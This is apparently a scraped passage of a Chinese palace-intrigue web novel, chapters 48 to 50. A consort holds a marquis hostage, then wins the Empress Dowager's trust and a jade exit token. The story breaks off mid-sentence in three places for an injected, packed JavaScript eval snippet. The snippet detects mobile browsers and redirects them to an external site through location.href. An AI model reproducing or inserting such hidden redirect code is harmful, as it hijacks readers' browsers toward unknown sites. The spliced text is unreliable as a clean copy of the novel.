“贵妃这是在威胁老子?”他嘴角挂起一抹邪笑,揶揄道,“要知道,我赫连八岁就敢单挑狼群,十二岁就能连杀上百个突厥人,剜他们的肉,喝他们的血!而你……” 说到这里他眯了眯眼,砸吧了一下嘴唇,轻声道:“你可知过去敢威胁老子,不听话的女人在我这里都是什么下场?” 对于赫连海脑子里那些腌臜念头,云昭昭翻了个大大的白眼。 “看来赫连大人还没搞清楚现在的情况,假如武安侯今日死在这宫正司的小院里,就凭他的武功,陛下、太后没有一个人会怀疑是我这个手无寸铁的妃子杀的他,只会怀疑赫连大人一代管锦衣卫就野心毕露,为了上位杀了武安侯。” 云昭昭边说嘴角边淬起一抹恶毒的笑意,赫连海听罢,脸色一变,有些破防地骂道: “妈的,你真是个疯女人!不过看在老子怜惜美人的份儿上,好心提醒你:整个京城,论武功,除了我赫连海,没人能比得过武安侯,你劫持他?怕死作茧自缚!” “赫连大人现在才知我疯吗?” 云昭昭闻言大笑起来,这种成为别人眼中的坏女人的感觉居然让她胸中格外畅快。 “从我还未入宫时开始,世人就皆说我骄纵狠毒,跋扈恣睢,不错,我云昭昭就是什么都不怕,什么人都敢惹!他武安侯再厉害,脖子还不是离我手中刀刃只有毫厘之距,他越动,我手中的刀越不稳,最多也不过就是我手下一抹,大家同归于尽罢了!” 说着云昭昭将手中的刀更加贴近周徵脖颈上的动脉,淡青色的血管在薄薄的皮肤下清晰可见,仿佛只要轻轻一划,就能将其割断。 其实不用赫连海提醒,周徵的武功她也是清楚的,那日在诏狱里薛炼出其不意、角度刁钻的攻击,周徵都能轻松躲过。而自己今日的挟持,不可能比薛炼当时的攻击更难应付。 她脑海里不知怎的浮现出了一个念头,难道周徵在故意配合自己? 想到这种可能,云昭昭虽然面上还保持着那副天不怕地不怕的嚣张模样,但心里却逐渐开始忐忑起来。 因为有所顾忌,又怕真的伤到他,她握着刀的手渐渐开始颤抖,本就不轻的长刀在她手中似有千钧之重,背上很快便积了一层薄汗。 而此刻的周徵比她也好受不到哪里去。 身后,女子温香软玉的身体紧紧地贴着他,一丝若有似无的兰桂幽香撩拨着他的神经。 他这辈子还从未和哪名女子有过这样亲密的接触,更何况对方还是…… 周徵努力驱赶着脑子里那些香艳的画面,但他越是这样想要逃离,身体却绷得越紧,也越发地不受控制。刚才云昭昭与赫连海之间的对话,他是一个字都没有听进去。 直到脖颈间传来一丝刺痛,才将他翩飞的思绪拉回了现实。 看着刀上的血迹以及周徵脖子上那道触目惊心的红痕,云昭昭着实被吓到了。 刚才她明明手都没有,怎么就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16108323|179884||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不小心将周徵划伤了呢? 而最受震慑的恐怕还是赫连海和其他十余名锦衣卫,他们没想到眼前的女人竟能疯到这种地步! 尤其是那些周徵曾经的下属,卫所中多年的袍泽情谊让他们见到周徵陷入危险,更加不敢上前。 局势竟在这种情形下达成了一种微妙的平衡。这边云昭昭不知道该如何收场,而那边的赫连海等人又害怕事态恶化,双方居然就这么一直僵持着。 只有院中那颗叶子落光的老槐树上停歇的几只乌鸦,在聒噪地嘲笑着下面这群人的滑稽。 这时,院外人影晃动,竟是太后身边的苏嬷嬷带了几名小太监和宫正司的嬷嬷过来。 待看清院中情形,苏嬷嬷脸色一黑。 “你们!你们这是在干什么?云贵妃,你疯了吗?!” 赫连海见状趁机添油加醋:“这女人确实疯了,居然敢劫持武安侯,这么危险的女人,可留不得在后宫,还是得关在诏狱中让老子好好拷问一番才安全……” 苏嬷嬷瞥了他一眼,没有答话,反而是冲着云昭昭厉声道:“云贵妃,还请放了武安侯!” “苏姑姑见谅,”云昭昭语气无比坚定,“若是放了侯爷,今日赫连大人非要我的命不可,除非,你让赫连大人和锦衣卫收手!” 苏嬷嬷闻言,不疾不徐地从怀中取出一卷明黄的懿旨,以及太后的玉玺。 这两件事物如见太后本人,赫连海极不情愿地与其余人一同跪下。 苏嬷嬷展开懿旨,一字一句,徐徐念道: “太后懿旨,武安侯周徵素来忠心事主,恪尽职守,此乃朝野共知。近虽有不禀君命、擅自行事之举,然细究原委,其心终系君王,意在安邦,非为私谋。” “念其久侍君侧十数载,鞠躬尽瘁,纵无赫赫之功,亦有奔波之苦。今事已平息,若再深究,恐伤其心,亦非朝廷体恤臣子之意。建议锦衣卫罢除追查,不得究武安侯之过。” “望其日后谨守臣节,凡事禀明而行,勿再蹈前辙。” “臣谨遵太后懿旨。”赫连海等人叩首道。 待众人起身,苏嬷嬷收好东西,又道:“赫连大人,中秋夜宴之事,太后还有些问题要亲自询问武安侯与云贵妃,老奴便是来带他二人前往慈宁宫的。” 这便是亲自从赫连海手中要人了,太后此举背后的维护之意不言而喻。 赫连海气得脸上一阵红一阵白的,却不敢发作,本是十拿九稳的行事,却被云昭昭与太后这么一搅合,弄成了重拳打在棉花上,最后什么都没捞着。 他只得黑着脸一挥手,手下那些锦衣卫便立刻收刀归鞘。 不少人终于重重地舒了一口气,弄得赫连海脸色更难看了。 “云贵妃难道就要这样架着武安侯去觐见太后?”苏嬷嬷语气不善。 架在周徵脖颈前的刀应声滑落在地。 见懿旨如见太后本人,苏嬷嬷那样说完,云昭昭心里不知为何多了几分愧疚之意,她蹲下身要去拾起地上的刀,却被周徵抢先一步,将他的刀捡了回去。 云昭昭怔怔地盯着他脖子上自己弄出的那道划伤,忍不住抽出怀中绢帕想要递予他。 但周徵却往侧边几步,不懂声色地躲开了她的动作。 云昭昭有些尴尬地站在那儿,以为周徵是生她的气了。 这时,苏嬷嬷提醒道:“请二位跟上老奴,别让太后在慈宁宫久候。” 云昭昭只得灰头土脸地跟在苏嬷嬷与周徵身后。 她一心想刚才周徵的事,以至于没有注意到,自己的身后有一道阴骘的目光,正黏在自己身上,目送着自己离开宫正司的小院。 赫连海看着云昭昭的背影消失在门外,歪着嘴嗅向自己的手背。 那上面有云昭昭刚才离开时从他身旁经过,袖口扫过他手边时残留的香味。 他深深地闻了闻。 过去他一直以为汉人女子都像他玩过的那些女奴,空有一副皮囊,却柔弱不堪,经不起一点折腾,随便弄两下便像一条死鱼一样任人摆布了。 可没想到这汉人皇帝的后宫中,竟会有如此泼辣鲜活的女子。 虽然凶了点,而且不是一般的疯。 但越是这样,越勾得他心里痒痒的,征服的欲望蠢蠢欲动。 早晚有一天,她会乖乖地成为自己的囊中之物。 赫连海心道。 48. 示好 慈宁宫外一树凝黄的银杏在秋风中摇摇欲坠,几丛名贵的绿菊半开半谢,给如佛堂般肃穆的慈宁宫平添了几分寂寥。 太后今日着装依然朴素,只是天气渐渐冷了,便在外面披了一件银鼠比甲,手中捻着一串檀木佛珠,气质沉静,眉眼微阖,与那张巨幅唐卡上宝相庄严的菩萨倒颇有些神似。 苏嬷嬷将二人带到太后面前,云昭昭与周徵一齐向太后请安,在一旁安静地等着太后念完最后一句经文。 太后放下手串,眼神直接略过云昭昭,看向周徵脖子上的那道新伤。 因着方才云昭昭并未用力,只是过于锋利的刀锋轻轻划了一下,所以伤势尚浅,只伤及表皮,已止住了血,留下一道细细长长的深红色划痕。 “哎,没事就好。”太后叹了口气,目光转而停在周徵的额头上。 “这额头上的伤应该就是陛下弄出来的吧,方才在承龙殿当着他的面你不便承认,现在在哀家的慈宁宫,你大可将实情道来。” 周徵不置可否,只是说:“谢太后关心,伤口已开始结痂了,并无大碍,不牢太后挂怀。” 太后脸色愠怒,严肃道:“你这孩子,怎如此冥顽不灵!他虽是陛下,却也不能对自己的臣子随意撒气,哀家跟你说了多少次了,他若无理取闹,你没必要硬受着!” 太后言语间看得出对周徵很是关切,显然没有把周徵当成是外臣。云昭昭从之前御花园中的那场赏菊宴就察觉到,太后不知道为何,总是对周徵格外袒护。 但周徵并不太领太后的情,淡淡地说:“臣身为臣子,自当忠心事主,为陛下分忧解难……” “可你也不能!不能让他这般作践于你,纵观历史,哪有贤明的君主会拿身边人撒气的?” 太后向来性子恬淡和蔼,很少如此刻这般动怒,周徵蓦地抬起头,眉间带着些讶然之色。 “太后息怒,陛下登基尚不过三载,近年国事日渐繁重,陛下又日理万机,为江山社稷烦忧也是难免的。况且……”他说到这里顿了一下,语气变得有些僵硬,“况且臣乃罪臣之子,本就贱命一条,托陛下之福与先皇后之德才得以苟活于世。这条命本来也是陛下的,他要打要骂,臣也应当无所怨言才是。” 谁知太后更加生气,厉声斥责道:“罪臣之子?哀家不许你这般轻贱自己!子不言父过,你爹娘犯事时你年级尚幼,又与你何干……” “太后……”苏嬷嬷见太后动怒,忍不住上前劝道,“太后息怒,小心气坏了身子,惊扰了这殿中供奉的菩萨。” “罢了。”太后深吸了几口檀香,平息了怒气,吩咐苏嬷嬷,“月容,去,把哀家梳妆匣中的那几瓶玫瑰香膏拿来,给武安侯。” 她说罢对周徵道:“这玫瑰香膏有淡斑之效,明彰你拿去每日早晚涂抹,可不能留下疤痕。好端端的一张脸,还没取媳妇儿呢,要是就这样破了相可如何是好?” 没想到太后竟也是心疼周徵这张俊脸,云昭昭在一旁忍俊不禁,一不留神就笑出了声。 周徵脸色尴尬地瞪了她一眼,随后清了清嗓子,正襟危坐地回绝了太后。 “谢太后好意,只是这玫瑰香膏乃女子之物,之前陛下已赏了臣不少金疮药与生肌散,而且臣有……一朋友,前些时日送了臣一罐羊脂玉容膏。” 太后一听,眼睛亮了一下,说:“羊脂玉容膏,这确实是难得的好东西,听说里面有几味药产自昆仑山,如今已绝了种,连哀家在宫里也不曾得见。看来你那位朋友倒是很关心你。哀家问你,它是男子还女子?” 周徵没想到太后竟会问出这么个问题,耳尖悄悄染上了一抹淡淡的红晕。 他只得如实相告道:“……是名女子。” 太后嫣然一笑道:“哀家就说呢……她应该就是你心仪的那名女子吧?” 云昭昭闻言呛了一口水,差点咬着自己的舌头。她寻思这都是什么跟什么啊,太后您老人家就算八卦也不能乱点鸳鸯谱啊。 更可恶的是周徵那家伙既不承认,也没否认,就跟个木头桩子一般处在原地,闷闷地屁都不放一个。 好在太后没有八卦到向周徵询问那女子姓甚名谁,只是继续关切周徵。 “明彰,如今你卸下了锦衣卫指挥使一职也是好事。锦衣卫昼伏夜出,长期在外奔波,手上也不免沾染鲜血。陛下既然还未取消你统领四大营的资格,便是给你们之间留了一些余地。以后练兵之外的时间,你就好好休息吧,也该操心一下自己的事了。你若同你心仪的那名女子有了进展,可要带进宫来让哀家也瞧瞧。” 周徵闻言身形一顿,只能腼腆应道:“是……臣谨遵太后教诲。” “嗯……”太后点点头,冲他摆了摆手,“去吧。” 周徵随即离开,慈宁宫小佛堂内只剩云昭昭像个犯错的孩子一样罚站着。 从刚才到现在她已站得腿脚有些发麻,但周徵走后,这室内的温度仿佛像变戏法一样,瞬间冷了下来,她小心地抬眼瞧着太后神色,已不似刚才那般和气,像是换了个人似的。 云昭昭不敢轻易吭声,等了好一片刻,才听见太后声音严厉,悠悠来了一句:“云贵妃可知罪?” 云昭昭以为她问的是中秋夜宴上纯嫔的死,亦或是今日汀雪的死,毕竟在外人眼里那她就是最大的嫌疑人。本着领导问责就算没错也要态度良好的原则,她匆忙跪下道:“臣妾有罪,是臣妾管教下人不利,治宫不严,有所疏漏,才让宫里出了这么许多命案……还请太后依照宫规责罚臣妾。” 她的态度卑微又卑微,语气诚恳又诚恳。但说到这里,却突然话锋一转,道:“可是臣妾没做的事情也是断断不会认的,翠微宫宫女秋儿以及纯容华之死并非臣妾在背后指使,就连逐月与汀雪的死,也不是臣妾要让刻意捂嘴而下毒手。臣妾上述所言,句句非虚,若有隐瞒撒谎,云家必定万劫不复,天打雷劈,还请太后娘娘明鉴。” 说着云昭昭朝着太后深深地跪拜下去。 “你放肆!云贵妃,你发这些毒誓这是在威胁哀家?”太后怒道,“哀家所问的罪,不是这些!” 云昭昭只好说:“臣妾愚钝,还请太后明示。” 太后飞快地说:“方才你在宫正司,可是拿刀对着武安侯的脖子?他颈上那条细长的划痕,可就是那时候被你弄出来的?你还说你没罪么?” 本来云昭昭还担心,逐月与汀雪都是自己身边的宫女,要向太后证明自己的清白总是显得很苍白,谁知太后并未提及这事儿。而她刚才劫持周徵,可是光明磊落,有充足的理由的。 而且果然如她之前所想,太后对于周徵的关心,似乎有些超过了太后对一名朝臣应有的距离,但她想象了很多种或理性或狗血的可能,却依旧无法得到结论。 云昭昭不再细想,只低着头,虔诚地解释道:“太后娘娘,臣妾当时也是迫不得已,并非想要害武安侯,相反,臣妾是为了救他。” “救他?”太后柳眉一横,显然不相信她所言。 “是,虽说臣妾也是为了救自己,但也是在帮武安侯,所以当时情急之下才出此下策。” 她态度十分诚恳,见太后脸色稍有缓和,这才徐徐将当时的情形复现在太后面前,又将周徵在赫连海面前坚持为自己求情所说的话原封不动地说予太后听。 “陛下本就因臣妾家的事与侯爷闹得不快,侯爷是个认死理的人,如果臣妾当时不这么做,等那赫连海回头到陛下那里去添油加醋地一说,岂不是坐实了侯爷与我家有所联系一事?” “嗯……你所得确有道理。”太后拾起放在一旁的珠串,一边摩挲上面迂回繁复的木纹,一边细细思索。 她向来和颜悦色,通情达理,既不苛责下人,也不在晚辈嫔妃们面前摆长辈的架子,所以也很自然地抓住了云昭昭话中的关窍,明白了这其中的利弊。 “罢了,看来是哀家错怪于你了。” 太后如是说,但想到自己刚才冲云昭昭发火的样子,她面上有些挂不住,只能轻抿一口茶水,替自己找补道:“不过你一个女子,在宫里这样动刀舞枪的成何体统,若是真重伤了人怎么办?” 云昭昭连忙乖乖地认错,又在太后这番话的基础上将其恭维了一番,这才勉强全了太后的面子。 接着,太后让她平身,为她赐座,并让苏嬷嬷沏了上好的君山云雾给她斟上,俨然一副要与她促膝长谈的样子。 正在云昭昭疑惑之际,就听见太后轻声问道:“昭昭,你是个聪明女子,现在哀家问你实 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16108324|179884||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 话,中秋夜宴那天到底是怎么回事?” 她的声音很轻很温柔,却隐隐透着一种不容抗拒的威严。 云昭昭背后一凉,她知道,相比刚才,这恐怕就是能够决定她命运的时候了。 虽说太后在她刚入宫时就对她示好,还将昭文皇后的簪子赠予,但她到现在还摸不清太后对自己示好的意图。 不过,这或许也只是她一厢情愿的错觉,毕竟比起自己,在后宫嫔妃中,太后对独孤晴还要亲密一些,而独孤晴的父亲独孤旻将军从不结党,又有赫赫之功,比起自己云家的出身,肯定要令人放心的多。 但现下朝堂上赵昶已与自己父亲势同水火,而朝堂自己父亲都不能对付的事,自己身在后宫之中,又能做什么呢?说不定太后这里,就是自己唯一可以扭转局势的机会。 云昭昭三思片刻,最终决定横下心来,将事情告知太后。 她先是从翠微宫秋儿的死说起,说自从秋儿死后,自己十分自责,虽然知道不是逐月干的,但还是不放心逐月的为人。她隐去了自己打翻易琉璃的蟹肉羹一事,只说是经过赏菊宴上周徵的提醒后,为防止中秋夜宴再出岔子,才未将逐月带去,而是让人在宫里看着她。 至于赏菊宴上发生的事,虽然她也不清楚真正的来龙去脉,但她还是一五一十地将自己在逐月房间中的所见告知了太后。 “你是说,逐月的死是被人栽赃嫁祸的,而不是畏罪自杀?”太后的神情严肃了起来。 “是,只是对方将现场伪装成了她是自杀,这一点武安侯可以作证,他当时也与臣妾一同去了现场查看。” 云昭昭脱口而出道,说完才意识到自己那日跟周徵一同行动本就是逾越,况且他们二人的关系本不该行事那么亲近。 于是她赶紧找补道:“啊……其实,是……武安侯派了下属守着现场,臣妾那日是被禁足得无聊,再……再加上觉得逐月死得蹊跷这才想着去她房间查看,正好遇见了他,这才求着他让臣妾也进去看看的……” 她这人向来不善于撒谎,不仅解释得磕磕绊绊,有些语无伦次,双颊还滚烫滚烫的,像是自己烧了起来。 不过太后并未在意她这一点点失态,只是认真追问:“这么说来,这凶手是蓄谋已久,这心思倒真是歹毒啊,谁会做这样的事?” 云昭昭便如实将自己之前的分析和盘托出,她讲汀雪的行径以及在宴会上的离去串联起来,虽然不清楚细节,但也凭着猜测和推理,将所有线索与整个事件的脉络一一串联。 而她不知道的是,她所推测的结果与那日汀雪向周徵亲口交代的只差距一二。听到最后,太后看向她的目光中多了几分欣赏之意。 “臣妾斗胆猜想,那将纸条留给尚食局王司膳的人应该还是逐月,只是她做的事情被汀雪发现了,而后来她在宫宴前,用毒药调换了逐月埋在树下的泻药。” “而且,臣妾还有一个发现要禀告太后。”云昭昭犹豫再三,还是决定将此事说出来。 “你说吧。” “臣妾事后查看逐月姑姑房间的时候,发现她的木匣子里,居然藏着一本圣鸾宫的膳事档案,这圣鸾宫不是昭文皇后的宫殿吗,而且那王司膳曾经不就是圣鸾宫小厨房的厨娘吗?” “圣鸾宫膳事档案?”太后平静无波的美目中,突然荡起一丝波澜。 “正是,”云昭昭道,“而且那份膳事档案中,有一页被撕去了,看痕迹明显是新撕去的,多半就是汀雪撕去的,不过臣妾实在想不通这普普通通的膳事档案能有什么秘密?” 但太后的脸却似是被冰冻过了一般僵住了。 “被撕去了?你可还记得,被撕去的那页是哪年哪月哪日?!” 太后一反平时佛系温柔的常态,甚至说话的时候连嘴唇都在微微颤抖,好像恨不得下一秒就站起来抓住云昭昭的胳膊。 “这……有点难啊……”云昭昭心里也满是惊愕,但还是凭记忆回答道,“臣妾好像记着,被撕掉的那页前一页写的是乾元六年八月初三……” 她话音刚落,便见太后彻底变了脸色。 她一脸青白,像是瘫软一般跌坐在座位上,仿佛瞬间老了几岁。 “完了……完了……”太后口中喃喃道。 49. 留下 见太后如此模样,云昭昭有些慌了神。 “太后娘娘,您还好吧?”她说完看见苏嬷嬷端了一碗燕窝过来,连忙道,“苏姑姑,你快来看看太后娘娘可是身子不舒服。” 太后这才摆了摆手,一手揉着眉心,“哀家无碍,只是方才老毛病又犯了,头有些晕。” 她这话毫无说服力,云昭昭狐疑不已。明明太后是听到自己说的那个日期,脸色才彻底变了的。 先帝乾元六年八月初四,那一日究竟宫里发生了什么不得了的事?能让太后这般娴静持重的人脸色大变。 但太后不说,她也不便多问,只好端过苏嬷嬷送来的燕窝道:“姑姑,臣妾来喂太后娘娘吧……”说罢便舀了一小勺,细心地吹了吹,才送至太后嘴边。 太后吃了几口燕窝,脸上已渐渐恢复了气色。她盯着云昭昭看了半晌,沉吟道:“你刚才所说,倒不似编造,这么说那日宴会上发生的事当真与你无关?可这汀雪也是你从云府带入宫的随嫁丫鬟,若不是你有意指使,那也可能是别人……” 云昭昭听出太后话里的意思是汀雪可能是受了云琛或柳氏等人的指使。她将手中的白玉碗搁在一旁,跪下道: “太后娘娘明鉴!臣妾母亲一向对下宽和,家中仆人老小也从未受到苛责,怎么可能生出这般歹毒的心思。那晚她是见臣妾身陷囹吾,起了舐犊之心,才出面想要为臣妾顶罪的。” 说完,云昭昭怕太后不信,又将自己醒来时汀雪的异常与自己的猜测说了一番,对于穿书以前的事,她也只说是自己历经高烧,九死一生,醒来都记不清了。 见太后将信将疑,云昭昭面色一苦,哀叹道:“臣妾从阎王手中捡回了这条命,对于前尘过往,虽已记不清了,但从旁人口中听说后也有心悔过。臣妾入宫后,从未起过害人之心。况且就算要害人,臣妾首当其冲也是该盯上易常在才对,而臣妾对易常在有无那种心思,太后将她叫来一问便知!” “罢了罢了。”太后神色缓和,道,“你这个伶牙俐齿的丫头,也是看你与哀家有眼缘,就信你这一回。” 云昭昭面色一喜,连忙感激地叩谢道:“谢太后娘娘!” “起来吧。” 云昭昭依旧伏地不起,她必须抓住这个机会向太后寻求支持:“太后娘娘,其实不止是臣妾,就是臣妾父亲也只盼朝中安稳,无意生事。只是不知是有什么奸人进献谗言,令陛下与我父亲之间生了许多罅隙,还请娘娘救我云家。” 她这样说道,几乎是赌上了一条命,但却迟迟未等到太后的答复。 过了片刻,她只觉得头顶有锦缎温柔地划过,太后柔软纤长的手指轻轻握住她胳膊,将她搀扶了起来。 云昭昭愣住了,眼中一滴泪珠凝在蝶翼般的羽睫上,将落不落。 “太后娘娘,您……怎么?” “好孩子,委屈你了……”太后说着,眼中闪过一丝哀怨,随后深深叹了口气,“哎,只是,哀家如今也如水中腐木,自身难保,无能为力……” “娘娘?”云昭昭呆呆地望着太后。 太后挽着她的手,将她带到自己身旁坐下,轻轻拍着她的手道:“哀家与你一见如故,只可惜,陛下也并非哀家亲生,哀家能做的也十分有限。” 说罢太后换来苏嬷嬷道:“月容,把哀家那玉牌拿来,赠予昭昭。” 云昭昭有些讶异,不知这又是何物。 待苏嬷嬷将物件取来后,她接过拿在手里把玩,才发现是一枚小小的出宫令牌。 大周朝宫中,文官们的日常活动范围乃是在承龙殿及以外,俗称“外宫”,最多只有内阁中的近臣可在司礼监的带领下前往陛下所居的养心殿。 而嫔妃太妃,皇子公主们所居住的宫殿,统称为“内宫”。那些公主皇子,亲王郡主之类的皇亲国戚,平时要出入内宫皆是凭借着这出入令牌,而后宫中的普通嫔妃是没有的,只有皇后、太后以及地位较高的太妃才能有此物。 太后的这枚玉牌质地温润,上面雕刻着一株栩栩如生的兰花,从陡峭的崖缝间生长出来,枝条舒展,葳蕤生姿。最上面雕刻着一个“兰”字,那是太后的姓氏。 “哀家的这枚玉牌就给你了,你好生收着,莫要到处声张。”太后认真叮嘱道,“若是将来万不得已之时,你持着此物出宫,可凭着它在大周全国的兰氏钱庄中兑换银两。之后的路就要靠你自己去走了,去蜀中也好,江南也罢,总之别再回来,走得越远越好。” 云昭昭轻轻触碰着玉牌上的浮雕,冰凉的触感沁人心脾,但她的心里却是五味杂陈。 太后见她反复摩挲着上面的兰花和那个“兰”字一时有些失神,以为她是喜欢,便忍不住打开了话匣子,颇有些怀念地讲起自己家的事来。 原来,太后所出身的兰家乃是江南富商,世代经营珠宝钱庄,兰氏钱庄最辉煌的时候在全国各地曾有上千家,后来一代不如一代。到了太后的父亲执掌兰家后,便寄希望于家中后辈里的男丁能有人入仕途,在朝中帮衬一二。 他早早地就给几个儿子及侄子请了苏州府最有名的大儒在家中私塾授课,可惜,一群小辈竟多是纨绔子弟,稍微懂事点的在作文章上也只是马马虎虎,反倒只有太后这个随堂陪读的小女儿竟是诗词文章信手拈来,颇得先生器重,年纪轻轻便成了当地有名的才女。 可惜女子有才并无什么用处。 而正好当时昭文皇后因生下赵昶后身体落下病根,不再能侍寝,先帝便大扩后宫,搜罗天下美女,进行了登基以来规模最大的一次选秀。风流倜傥的先帝听闻她的才名后十分倾慕,指名将她选入后宫,不过先帝后宫嫔妃众多,年轻的太后也并不受宠。又因兰家远在千里之外的江南,她在京城辐照不能,在一群纨绔子弟的挥霍下,兰家终于还是渐渐败落了。 云昭昭本来拿着这枚玉牌只是感慨万千,当初刚穿书时自己处心积虑,筹谋多时便是为了隐姓埋名逃去江南,可如今得了这个可以出宫的令牌,她却割舍不下京城的家人们。 就像当初薛炼说要带她离开一样,她现在的答案还是没有变。 况且太后所说的经历与她现在处境有些不谋而合,令她格外感同身受。 这个时代的女子,受限颇多,依附男子而活,想要靠自己重振家业,扶大厦于将倾,挽狂澜于既倒,不是一个“难”字可以一言以蔽之的。 虽说她穿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16108325|179884||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 书后锦衣玉食,养尊处优,可她骨子里还是那个在职场里永不服输,迎难而上的草根女孩。灵魂深处那粒坚韧的种子在经历了这个时代的种种后,反而根生得更深,枝叶萌发得更加茁壮。 云昭昭静静地听太后讲完自己的故事,郑重地将手中的玉牌还了回去。 “昭昭,你这是何意?”太后狐疑,“哀家如今能帮你的只有这个了。” “太后娘娘,谢谢您。”云昭昭吸了吸鼻子,执意道,“但臣妾已做了决定,臣妾要留下!父亲母亲对臣妾的养育之恩深重如山,臣妾此生无以为报,就算拼上这条命,臣妾也要保护他们!哪怕是死,臣妾也不能让他们在下面孤孤单单,没有子女承欢!” 她说要留下的时候,眼里仿佛燃着一团火。 “你……” 太后盯着她的眼睛,仿佛重新认识了这位“声名远播”的云家千金,世人都说她娇蛮跋扈,任性妄为。可如今,自己劝她逃跑时,她却比京中任何一名温婉贤淑的贵女都要豁得出去,也更加勇敢。 太后大抵是这宫里除了周徵以外最了解赵昶的人。她抚养他长大,知道他的性子与脾气,更见识过他温文尔雅的外表下隐藏的暴戾。 从前赵昶还小时,她这个养母只是个不得宠的妃子,看上去唬人的贤妃头衔还是靠这个孩子得来的。赵昶从不把她当回事,吃穿用度稍不合他意,便换来他充满戾气的拳打脚踢,与语言辱骂。 她不敢声张,因为在先帝眼中,赵昶是昭文皇后留下的唯一嫡子,承天命所生,文武双全,聪慧无双。而直到赵昶长大成人后,为服群臣,性子才有所收敛。 但这次云家的事,她一早就多有留意,赵昶是摆明了不将云琛及其同党一网打尽誓不罢休,所以她才想出劝云昭昭见机出宫离京这样的事。 她不愿见到这个与昭文皇后年轻时一般生机勃勃的女子,陨落在这被朱墙围拥着的巨大坟墓里。 但云昭昭心意已决,自己也没有其他立场劝她。 太后想了想,还是将玉牌塞进了她的手里。 “罢了,你不愿离开就留下来吧。这个玉牌你拿着,哀家老了,在这宫里呆了二十二年,对宫外的世界早就没了念想。你拿着它,如果有需要出宫的时候,也是有几分用处的。” 云昭昭攥着玉牌,有了此物,她便可以随时回家见到父母,将来要做什么也方便许多。 而太后从自己入宫前就派了苏嬷嬷指点宫规礼仪,在宫里又多次对自己扶照一二,她真不知道该如何感谢她,只觉得手中的玉牌似有千金之重。 “好了,”太后见她感动得泫然欲泣的表情,掩口轻笑道,“你若存心想感谢哀家,下月十五乃以兰的忌日,你陪哀家一同去云台寺上香吧。” “好。”云昭昭发自内心地应道。 二人正说着,忽见外间一名宫女神色惶惶地赶来禀报,说是陛下派司礼监和禁军的人来了。 太后心知来人是奉赵昶之名带走云昭昭的,便命苏嬷嬷带其从慈宁宫的后门离开。 然而云昭昭刚起身同太后告辞,还未踏出佛堂,便见司礼监汪海与御马监薛炼带着几十名禁军不顾宫女的阻拦,冲进了慈宁宫里。 50. 香囊 慈宁宫的佛堂外,几十名禁军整装旗鼓,数柄长枪熠熠闪亮,映出傍晚时分滴血般的残阳,枪上的流苏猎风而动,好似蓄势待发,等待着冲锋的号角。 太后见此架势,十分生气,示意云昭昭呆在佛堂内,自己则扶着苏嬷嬷的手走出了佛堂。 “你们这是干什么?是要来攻打慈宁宫吗?” 她一双温和的眉目此刻怒瞪着汪海,言语中难得地摆上了后宫之主的架势。 汪海在司礼监掌印汪厚的几名干儿子中排行最末,但却凭着审时度势的机灵劲儿和阿谀奉承的本领十分讨赵昶喜欢,如今已升为了司礼监秉笔,虽然资历尚浅,但品级仅在他干爹之下。 从前他见到宫中的主子那是恨不得把腰弯到地里,但如今不同了,除了赵昶外,就算是太后,他也没完全放在眼里。 “太后娘娘,您误会了。” 汪海故意将手中拂尘一扬,皮笑肉不笑地对太后说:“听闻本该被抓入诏狱的犯人如今到了慈宁宫,奴才们这样郑重其事,也是为了太后您的安全。” 太后黛眉一横,不客气道:“我慈宁宫内都是些女眷,哪有什么诏狱的犯人?还是你们想把哀家抓进去?” “诶诶诶,太后言重了,”汪海赔笑,一双细长的狐狸眼里全是心眼儿,“奴才们也是奉命行事。那女犯云氏连武安侯都敢劫持,陛下也是害怕她会威胁太后您的安全。” “威胁哀家的安全?哀家请贵妃来慈宁宫小叙,你要不要来看看,哀家是掉了根手指呢,还是少了根头发?” 说着太后衣袖一甩,手臂摊开,一副任由司礼监与禁军搜身的样子。 汪海尴尬地笑笑,身后的薛炼向太后行了个礼道:“请太后恕罪,臣等无意冒犯太后,只是陛下要求臣与将士们必须要将人犯带回,否则大家又要多受责罚,汪公公也是担心陛下生气。” 太后打量了薛炼几眼,道:“你说话倒是中听。只是,你们口口声声称贵妃为人犯,哀家倒不知,她犯了何罪。” “回禀太后,先前易常在的宫女落水身亡,中秋夜宴上纯容华中毒一事,当晚贵妃身边的逐月在屋内上吊自戕,以及今日贵妃的贴身宫女被发现死在了宫正司,这些事都疑似贵妃的手笔。”薛炼道。 